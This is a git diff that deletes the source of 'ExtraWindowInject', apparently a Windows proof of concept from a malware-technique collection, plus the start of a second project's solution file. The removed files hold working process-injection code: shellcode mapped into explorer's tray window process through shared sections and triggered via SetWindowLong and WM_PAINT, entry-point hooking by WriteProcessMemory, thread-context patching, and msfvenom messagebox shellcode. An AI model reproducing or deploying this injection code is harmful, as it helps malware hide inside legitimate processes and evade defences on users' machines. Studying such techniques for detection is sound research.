- IN TOKEN_TYPE TokenType,
- OUT PHANDLE NewTokenHandle
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtCompareTokens(
- IN HANDLE FirstTokenHandle,
- IN HANDLE SecondTokenHandle,
- OUT PBOOLEAN IdenticalTokens
- );
-
-
-//-----------------------------------------------------------------------------
-// Symbolic links
-
-//
-// Object Manager Symbolic Link Specific Access Rights.
-//
-
-#ifndef SYMBOLIC_LINK_QUERY
-#define SYMBOLIC_LINK_QUERY (0x0001)
-#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)
-#endif
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtOpenSymbolicLinkObject (
- OUT PHANDLE SymbolicLinkHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQuerySymbolicLinkObject (
- IN HANDLE SymbolicLinkHandle,
- OUT PUNICODE_STRING NameString,
- OUT PULONG ResultLength OPTIONAL
- );
-
-//-----------------------------------------------------------------------------
-// Loader functions
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-LdrGetDllHandle(
- IN PWSTR DllPath OPTIONAL,
- IN PULONG DllCharacteristics OPTIONAL,
- IN PUNICODE_STRING DllName,
- OUT PVOID * DllHandle
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-LdrGetProcedureAddress(
- IN PVOID DllHandle,
- IN PANSI_STRING ProcedureName OPTIONAL,
- IN ULONG ProcedureNumber OPTIONAL,
- OUT PVOID *ProcedureAddress
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-LdrLoadDll(
- IN PWSTR DllPath OPTIONAL,
- IN PULONG DllCharacteristics OPTIONAL,
- IN PUNICODE_STRING DllName,
- OUT PVOID *DllHandle
- );
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-LdrFindEntryForAddress(
- IN PVOID Address,
- OUT PLDR_DATA_TABLE_ENTRY *Module
- );
-
-NTSYSAPI
-VOID
-NTAPI
- RtlGetCallersAddress(
- OUT PVOID *CallersAddress,
- OUT PVOID *CallersCaller
- );
-
-//-----------------------------------------------------------------------------
-// Functions dealing with NTSTATUS and Win32 error
-
-NTSYSAPI
-ULONG
-NTAPI
-RtlNtStatusToDosError(
- NTSTATUS Status
- );
-
-
-NTSYSAPI
-ULONG
-NTAPI
-RtlNtStatusToDosErrorNoTeb(
- NTSTATUS Status
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlGetLastNtStatus(
- );
-
-
-NTSYSAPI
-ULONG
-NTAPI
-RtlGetLastWin32Error(
- );
-
-
-NTSYSAPI
-VOID
-NTAPI
-RtlSetLastWin32Error(
- ULONG WinError
- );
-
-
-NTSYSAPI
-VOID
-NTAPI
-RtlSetLastWin32ErrorAndNtStatusFromNtStatus(
- NTSTATUS Status
- );
-
-
-//-----------------------------------------------------------------------------
-// I/O functions
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtDisplayString(
- IN PUNICODE_STRING String
- );
-
-
-#ifdef __cplusplus
-} // extern "C"
-#endif
-
-#endif // __NTDLL_H__
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/ntdll_undoc.h b/Win32/Proof of Concepts/ExtraWindowInject/src/ntdll_undoc.h
deleted file mode 100644
index 7af4d33e..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/ntdll_undoc.h
+++ /dev/null
@@ -1,72 +0,0 @@
-#pragma once
-
-#include
-#include "ntddk.h"
-
-//undocumented functions from ntdll.dll
-//
-//don't forget to load functions before use:
-//load_ntdll_functions();
-
-NTSTATUS (NTAPI *NtQueueApcThread)(
- IN HANDLE ThreadHandle,
- IN PVOID ApcRoutine,
- IN PVOID ApcRoutineContext OPTIONAL,
- IN PVOID ApcStatusBlock OPTIONAL,
- IN ULONG ApcReserved OPTIONAL
-);
-
-NTSTATUS (NTAPI *ZwSetInformationThread) (
- IN HANDLE ThreadHandle,
- IN THREADINFOCLASS ThreadInformationClass,
- IN PVOID ThreadInformation,
- IN ULONG ThreadInformationLength
-);
-
-NTSTATUS (NTAPI *ZwCreateThreadEx) (
- OUT PHANDLE ThreadHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
- IN HANDLE ProcessHandle,
- IN PVOID StartRoutine,
- IN PVOID Argument OPTIONAL,
- IN ULONG CreateFlags,
- IN ULONG_PTR ZeroBits,
- IN SIZE_T StackSize OPTIONAL,
- IN SIZE_T MaximumStackSize OPTIONAL,
- IN PVOID AttributeList OPTIONAL
-);
-
-NTSTATUS (NTAPI *RtlCreateUserThread) (
- IN HANDLE ProcessHandle,
- IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
- IN BOOLEAN CreateSuspended,
- IN ULONG StackZeroBits,
- IN OUT PULONG StackReserved,
- IN OUT PULONG StackCommit,
- IN PVOID StartAddress,
- IN PVOID StartParameter OPTIONAL,
- OUT PHANDLE ThreadHandle,
- OUT PCLIENT_ID ClientID
-);
-
-
-BOOL load_ntdll_functions()
-{
- HMODULE hNtdll = GetModuleHandleA("ntdll");
- if (hNtdll == NULL) return FALSE;
-
- NtQueueApcThread = (NTSTATUS (NTAPI *)(HANDLE, PVOID, PVOID, PVOID, ULONG)) GetProcAddress(hNtdll,"NtQueueApcThread");
- if (NtQueueApcThread == NULL) return FALSE;
-
- ZwSetInformationThread = (NTSTATUS (NTAPI *)(HANDLE, THREADINFOCLASS, PVOID, ULONG)) GetProcAddress(hNtdll,"ZwSetInformationThread");
- if (ZwSetInformationThread == NULL) return FALSE;
-
- ZwCreateThreadEx = (NTSTATUS (NTAPI *) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID)) GetProcAddress(hNtdll,"ZwCreateThreadEx");
- if (ZwCreateThreadEx == NULL) return FALSE;
-
- RtlCreateUserThread = (NTSTATUS (NTAPI *) (HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN,ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID)) GetProcAddress(hNtdll,"RtlCreateUserThread");
- if (RtlCreateUserThread == NULL) return FALSE;
-
- return TRUE;
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/patch_context.h b/Win32/Proof of Concepts/ExtraWindowInject/src/patch_context.h
deleted file mode 100644
index 925194cb..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/patch_context.h
+++ /dev/null
@@ -1,39 +0,0 @@
-#pragma once
-
-#include
-
-//32-bit version
-bool patch_context(HANDLE hThread, LPVOID remote_shellcode_ptr)
-{
- //get initial context of the target:
- BOOL res = FALSE;
-
-#if defined(_WIN64)
- WOW64_CONTEXT context;
- memset(&context, 0, sizeof(WOW64_CONTEXT));
- context.ContextFlags = CONTEXT_INTEGER;
- res = Wow64GetThreadContext(hThread, &context);
-#else
- CONTEXT context;
- memset(&context, 0, sizeof(CONTEXT));
- context.ContextFlags = CONTEXT_INTEGER;
- res = GetThreadContext(hThread, &context);
-#endif
- if (res == FALSE) {
- return false;
- }
-
- //if the process was created as suspended and didn't run yet, EAX holds it's entry point:
- context.Eax = (DWORD) remote_shellcode_ptr;
-
-#if defined(_WIN64)
- Wow64SetThreadContext(hThread, &context);
-#else
- res = SetThreadContext(hThread, &context);
-#endif
- if (res == FALSE) {
- return false;
- }
- printf("patched context -> EAX = %x\n", context.Eax);
- return true;
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/patch_ep.h b/Win32/Proof of Concepts/ExtraWindowInject/src/patch_ep.h
deleted file mode 100644
index ebee2b3b..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/patch_ep.h
+++ /dev/null
@@ -1,140 +0,0 @@
-#pragma once
-#include
-#include "ntddk.h"
-#include "pe_hdrs_helper.h"
-#define PAGE_SIZE 0x1000
-
-// Get image base by a method #1:
-LPCVOID getTargetImageBase1(HANDLE hProcess)
-{
- PROCESS_BASIC_INFORMATION pbi;
- memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION));
-
- if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0)
- {
- printf("[ERROR] NtQueryInformationProcess failed\n");
- return NULL;
- }
-
- printf("PEB = %p\n", (LPVOID)pbi.PebBaseAddress);
-
- LPCVOID ImageBase = 0;
- SIZE_T read_bytes = 0;
- if (!ReadProcessMemory(hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, sizeof(ImageBase), &read_bytes)
- || read_bytes != sizeof(ImageBase)
- )
- {
- printf("[ERROR] Cannot read from PEB - incompatibile target!\n");
- return NULL;
- }
- return ImageBase;
-}
-
-// Get image base by a method #2:
-// WARNING: this method of getting Image Base works only if
-// the process has been created as a SUSPENDED and didn't run yet
-// - it uses specific values of the registers, that are set only in this case.
-LPCVOID getTargetImageBase2(HANDLE hProcess, HANDLE hThread)
-{
- //get initial context of the target:
-#if defined(_WIN64)
- WOW64_CONTEXT context;
- memset(&context, 0, sizeof(WOW64_CONTEXT));
- context.ContextFlags = CONTEXT_INTEGER;
- Wow64GetThreadContext(hThread, &context);
-#else
- CONTEXT context;
- memset(&context, 0, sizeof(CONTEXT));
- context.ContextFlags = CONTEXT_INTEGER;
- GetThreadContext(hThread, &context);
-#endif
- //get image base of the target:
- DWORD PEB_addr = context.Ebx;
-
- const SIZE_T kPtrSize = sizeof(DWORD); //for 32 bit
- DWORD targetImageBase = 0; //for 32 bit
-
- printf("PEB = %x\n", PEB_addr);
-
- if (!ReadProcessMemory(hProcess, LPVOID(PEB_addr + 8), &targetImageBase, kPtrSize, NULL)) {
- printf("[ERROR] Cannot read from PEB - incompatibile target!\n");
- return false;
- }
- return (LPCVOID)((ULONGLONG)targetImageBase);
-}
-
-bool paste_shellcode_at_ep(HANDLE hProcess, LPVOID remote_shellcode_ptr, HANDLE hThread=NULL)
-{
- LPCVOID ImageBase = NULL; //target ImageBase
- if (hThread != NULL) {
- ImageBase = getTargetImageBase2(hProcess, hThread);
- } else {
-#if defined(_WIN64)
- printf("[ERROR] 64bit version of this method is not implemented!\n");
- return false;
-#else
- ImageBase = getTargetImageBase1(hProcess);
-#endif
- }
- if (ImageBase == NULL) {
- printf("[ERROR] Fetching ImageBase failed!\n");
- return false;
- }
- printf("ImageBase = 0x%p\n", ImageBase);
-
- // read headers:
- SIZE_T read_bytes = 0;
- BYTE hdrs_buf[PAGE_SIZE];
- if (!ReadProcessMemory(hProcess, ImageBase, hdrs_buf, sizeof(hdrs_buf), &read_bytes) && read_bytes != sizeof(hdrs_buf))
- {
- printf("[-] ReadProcessMemory failed\n");
- return false;
- }
-
- // fetch Entry Point From headers
- IMAGE_NT_HEADERS32 *inh = get_nt_hrds32(hdrs_buf);
- if (inh == NULL) return false;
-
- IMAGE_OPTIONAL_HEADER32 opt_hdr = inh->OptionalHeader;
- DWORD ep_rva = opt_hdr.AddressOfEntryPoint;
-
- printf("Entry Point v: %x\n", ep_rva);
- printf("shellcode ptr: %p\n", remote_shellcode_ptr);
-
- //make a buffer to store the hook code:
- const SIZE_T kHookSize = 0x10;
- BYTE hook_buffer[kHookSize];
- memset(hook_buffer, 0xcc, kHookSize);
-
- //prepare the redirection:
- //address of the shellcode will be pushed on the stack and called via ret
- hook_buffer[0] = 0x68; //push
- hook_buffer[5] = 0xC3; //ret
-
- //for 32bit code:
- DWORD shellcode_addr = (DWORD)remote_shellcode_ptr;
- memcpy(hook_buffer + 1, &shellcode_addr, sizeof(shellcode_addr));
-
- //make a memory page containing Entry Point Writable:
- DWORD oldProtect;
- if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
- printf("Virtual Protect Failed!\n");
- return false;
- }
-
- //paste the redirection at Entry Point:
- SIZE_T writen_bytes = 0;
- if (!WriteProcessMemory(hProcess, (LPBYTE)ImageBase + ep_rva, hook_buffer, sizeof(hook_buffer) , &writen_bytes))
- {
- printf("[-] WriteProcessMemory failed, err = %d\n", GetLastError());
- return false;
- }
-
- //restore the previous access rights at entry point:
- DWORD oldProtect2;
- if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, oldProtect, &oldProtect2)) {
- printf("Virtual Protect Failed!\n");
- return false;
- }
- return true;
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/payload.h b/Win32/Proof of Concepts/ExtraWindowInject/src/payload.h
deleted file mode 100644
index f0b5fa8b..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/payload.h
+++ /dev/null
@@ -1,30 +0,0 @@
-#pragma once
-
-/*
-msfvenom -a x86 --platform Windows
--p windows/messagebox
-TEXT="This is an injection demo!"
-TITLE="Injection Demo"
--f c
-*/
- unsigned char g_Shellcode[] =
-"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
-"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
-"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
-"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
-"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
-"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
-"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
-"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
-"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
-"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
-"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
-"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
-"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
-"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6d\x6f\x58\x20\x68\x6e\x20"
-"\x44\x65\x68\x63\x74\x69\x6f\x68\x49\x6e\x6a\x65\x31\xdb\x88"
-"\x5c\x24\x0e\x89\xe3\x68\x6f\x21\x58\x20\x68\x20\x64\x65\x6d"
-"\x68\x74\x69\x6f\x6e\x68\x6e\x6a\x65\x63\x68\x61\x6e\x20\x69"
-"\x68\x20\x69\x73\x20\x68\x54\x68\x69\x73\x31\xc9\x88\x4c\x24"
-"\x1a\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
-"\x55\x08";
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.cpp b/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.cpp
deleted file mode 100644
index 59234455..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.cpp
+++ /dev/null
@@ -1,32 +0,0 @@
-#include "pe_hdrs_helper.h"
-
-IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer)
-{
- if (pe_buffer == NULL) return NULL;
-
- IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer;
- if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
- return NULL;
- }
- const LONG kMaxOffset = 1024;
- LONG pe_offset = idh->e_lfanew;
- if (pe_offset > kMaxOffset) return NULL;
-
- IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)((BYTE*)pe_buffer + pe_offset);
- return inh;
-}
-
-IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id)
-{
- if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;
-
- //fetch relocation table from current image:
- PIMAGE_NT_HEADERS32 nt_headers = get_nt_hrds32((BYTE*) pe_buffer);
- if (nt_headers == NULL) return NULL;
-
- IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]);
- if (peDir->VirtualAddress == NULL) {
- return NULL;
- }
- return peDir;
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.h b/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.h
deleted file mode 100644
index ba758a20..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/pe_hdrs_helper.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#pragma once
-#include
-
-IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer);
-IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id);
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.cpp b/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.cpp
deleted file mode 100644
index 18e35e9e..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.cpp
+++ /dev/null
@@ -1,52 +0,0 @@
-#pragma once
-#include "sysutil.h"
-
-#include
-#include
-
-#include "pe_hdrs_helper.h"
-
-typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
-
-bool is_compiled_32b()
-{
- if (sizeof(LPVOID) == sizeof(DWORD)) {
- return true;
- }
- return false;
-}
-
-bool is_wow64()
-{
- LPFN_ISWOW64PROCESS fnIsWow64Process;
- BOOL bIsWow64 = false;
-
- //IsWow64Process is not available on all supported versions of Windows.
- //Use GetModuleHandle to get a handle to the DLL that contains the function
- //and GetProcAddress to get a pointer to the function if available.
-
- fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
- if (fnIsWow64Process == NULL) {
- return false;
- }
- if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) {
- return false;
- }
- if (bIsWow64 == TRUE) {
- return true; //64 bit
- }
- return false; //32 bit
-}
-
-bool is_system32b()
-{
- //is the current application 32 bit?
- if (!is_compiled_32b()) {
- return false;
- }
- //check if it is running under WoW
- if (is_wow64()) {
- return false;
- }
- return true;
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.h b/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.h
deleted file mode 100644
index b6f8b9da..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/sysutil.h
+++ /dev/null
@@ -1,9 +0,0 @@
-#pragma once
-#include
-
-#define PAGE_SIZE 0x1000
-
-bool is_compiled_32b();
-bool is_wow64();
-bool is_system32b();
-bool is_target_32bit(HANDLE hProcess, LPVOID ImageBase);
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/target_util.h b/Win32/Proof of Concepts/ExtraWindowInject/src/target_util.h
deleted file mode 100644
index 30f9e15e..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/target_util.h
+++ /dev/null
@@ -1,117 +0,0 @@
-#pragma once
-#include
-
-void replace_param(LPWSTR cmdBuf, SIZE_T cmdBufSize, LPWSTR paramVal)
-{
- wchar_t * pwc;
- printf("--\n");
- pwc = wcsstr (cmdBuf, L"%1");
- if (pwc == NULL) return; //param not found
-
- SIZE_T paramLen = wcslen(paramVal);
- SIZE_T offset = pwc - cmdBuf;
- if (offset + paramLen + 1 >= cmdBufSize) return; //no space in buffer
-
- wcsncpy (pwc, paramVal, paramLen);
-
- cmdBuf[offset + paramLen + 1] = NULL;
- if (offset == 0) return;
-
- if (cmdBuf[offset-1] == '\"' || cmdBuf[offset-1] == '\'') {
- cmdBuf[offset + paramLen] = cmdBuf[0];
- cmdBuf[offset + paramLen + 1] = NULL;
- }
-}
-
-void remove_params(LPWSTR cmdLine, SIZE_T cmdLineLen)
-{
- wchar_t * pwc;
- printf("--\n");
-
- WCHAR extension[] = L".exe";
- SIZE_T extensionLen = wcslen(extension);
- pwc = wcsstr (cmdLine, extension);
- if (pwc == NULL) return;
-
- SIZE_T offset = pwc - cmdLine;
- cmdLine[offset + extensionLen] = NULL;
- if (cmdLine[0] == '\"' || cmdLine[0] == '\'') {
- cmdLine[offset + extensionLen] = cmdLine[0];
- cmdLine[offset + extensionLen + 1] = NULL;
- }
-}
-
-bool get_dir(LPWSTR cmdLine, OUT LPWSTR dirBuf, SIZE_T dirBufLen = MAX_PATH)
-{
- wchar_t * pwc;
- pwc = wcsrchr (cmdLine, L'\\');
- if (pwc == NULL) {
- pwc = wcsrchr (cmdLine, L'/');
- }
- if (pwc == NULL) return false;
-
- SIZE_T offset = pwc - cmdLine + 1;
- if (offset >= dirBufLen) return false;
-
- if (cmdLine[offset] != '\"' && cmdLine[offset] != '\'') {
- return false;
- }
- if (cmdLine[0] == '\"' || cmdLine[0] == '\'') {
- wcsncpy(dirBuf, cmdLine+1, offset-1);
- dirBuf[offset-1] = NULL;
- } else {
- wcsncpy(dirBuf, cmdLine, offset);
- dirBuf[offset + 1] = NULL;
- }
- printf("Dir: %S\n", dirBuf);
- return true;
-}
-
-bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath)
-{
- HKEY phkResult;
- DWORD iMaxLen = szOutPath;
-
- LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult);
- if (res != ERROR_SUCCESS) {
- printf("[ERROR] Failed with value = %x\n", res);
- return false;
- }
-
- res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen);
- if (res != ERROR_SUCCESS) {
- printf("[ERROR] Failed with value = %x\n", res);
- return false;
- }
- replace_param(lpwOutPath, szOutPath, L"www.google.com");
- return true;
-}
-
-bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath)
-{
-#if defined(_WIN64)
- ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath);
-#else
- ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath);
-#endif
- printf("%S\n", lpwOutPath);
- return true;
-}
-
-bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath)
-{
-#if defined(_WIN64)
- ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath);
-#else
- ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath);
-#endif
- printf("%S\n", lpwOutPath);
- return true;
-}
-
-bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath)
-{
- ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath);
- printf("%S\n", lpwOutPath );
- return true;
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/util.h b/Win32/Proof of Concepts/ExtraWindowInject/src/util.h
deleted file mode 100644
index ad42b7eb..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/util.h
+++ /dev/null
@@ -1,14 +0,0 @@
-#pragma once
-
-void hex_dump(unsigned char *buf, size_t buf_size)
-{
- size_t pad = 8;
- size_t col = 16;
- putchar('\n');
- for (size_t i = 0; i < buf_size; i++) {
- if (i != 0 && i % pad == 0) putchar('\t');
- if (i != 0 && i % col == 0) putchar('\n');
- printf("%02X ", buf[i]);
- }
- putchar('\n');
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.cpp b/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.cpp
deleted file mode 100644
index 8f59708e..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.cpp
+++ /dev/null
@@ -1,115 +0,0 @@
-#include "window_long_inject.h"
-
-#include
-
-//for injection into Shell_TrayWnd
-PVOID map_code_and_addresses_into_process(HANDLE hProcess, LPBYTE shellcode, SIZE_T shellcodeSize)
-{
- HANDLE hSection = NULL;
- OBJECT_ATTRIBUTES hAttributes;
- memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
-
- LARGE_INTEGER maxSize;
- maxSize.HighPart = 0;
- maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize; //we need space for the shellcode and two pointers
- NTSTATUS status = NULL;
- if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
- {
- printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
- return NULL;
- }
-
- PVOID sectionBaseAddress = NULL;
- ULONG viewSize = 0;
- SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
-
- // map the section in context of current process:
- if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
- {
- printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
- return NULL;
- }
- printf("Section BaseAddress: %p\n", sectionBaseAddress);
-
- //map the new section into context of opened process
- PVOID sectionBaseAddress2 = NULL;
- if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
- {
- printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
- return NULL;
- }
-
- LPVOID shellcode_remote_ptr = sectionBaseAddress2;
- LPVOID shellcode_local_ptr = sectionBaseAddress;
-
- //the same page have double mapping - remote and local, so local modifications are reflected remotely
- memcpy (shellcode_local_ptr, shellcode, shellcodeSize);
- printf("Shellcode copied!\n");
-
- LPVOID handles_remote_ptr = (BYTE*) shellcode_remote_ptr + shellcodeSize;
- LPVOID handles_local_ptr = (BYTE*) shellcode_local_ptr + shellcodeSize;
-
- //store the remote addresses
- PVOID buf_va = (BYTE*) handles_remote_ptr;
- LONG hop1 = (LONG) buf_va + sizeof(LONG);
- LONG shellc_va = (LONG) shellcode_remote_ptr;
-
- //fill the pointers
- memcpy((BYTE*)handles_local_ptr, &hop1, sizeof(LONG));
- memcpy((BYTE*)handles_local_ptr + sizeof(LONG), &shellc_va, sizeof(LONG));
-
- //unmap from the context of current process
- ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
- ZwClose(hSection);
-
- printf("Section mapped at address: %p\n", sectionBaseAddress2);
- return shellcode_remote_ptr;
-}
-
-bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize)
-{
- HWND hWnd = FindWindow(L"Shell_TrayWnd", NULL);
- if (hWnd == NULL) return false;
-
- DWORD pid = 0;
- GetWindowThreadProcessId(hWnd, &pid);
- printf("PID:\t%d\n", pid);
- //save the current value, because we will need to recover it:
- LONG winLong = GetWindowLongW(hWnd, 0);
- printf("WindowLong:\t%lx\n", winLong);
-
- HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid);
- if (hProcess == NULL) {
- return false;
- }
-
- LPVOID remote_shellcode_ptr = map_code_and_addresses_into_process(hProcess, shellcode, shellcodeSize);
- if (remote_shellcode_ptr == NULL) {
- return false;
- }
- LPVOID remote_handles_ptr = (BYTE*) remote_shellcode_ptr + shellcodeSize;
-
- printf("Saving handles to:\t%p\n", remote_handles_ptr);
-
- //set the handle to the injected:
- SetWindowLong(hWnd, 0, (LONG) remote_handles_ptr);
-
- //send signal to execute the injected code
- SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
-
- //procedure will be triggered on every message
- //in order to avoid repetitions, injected code should restore the previous value after the first exection
- //here we are checking if it is done
- size_t max_wait = 5;
- while (GetWindowLong(hWnd, 0) != winLong) {
- //not restored, wait more
- Sleep(100);
- if ((max_wait--) == 0) {
- //don't wait longer, restore by yourself
- SetWindowLong(hWnd, 0, winLong);
- SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
- }
- }
- CloseHandle(hProcess);
- return true;
-}
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.h b/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.h
deleted file mode 100644
index 9be4b9ed..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/window_long_inject.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#pragma once
-
-#include
-#include "ntddk.h"
-
-bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize);
diff --git a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64.sln b/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64.sln
deleted file mode 100644
index 4c67c0f5..00000000
--- a/Win32/Proof of Concepts/GetKernel32Addressx64/GetKernel32Addressx64.sln
+++ /dev/null
@@ -1,26 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 11.00
-# Visual Studio 2010
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "GetKernel32Addressx64", "GetKernel32Addressx64\GetKernel32Addressx64.vcxproj", "{1215E56F-670D-4DBF-9750-D7EB3D74F4B9}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Win32 = Debug|Win32
- Debug|x64 = Debug|x64
- Release|Win32 = Release|Win32
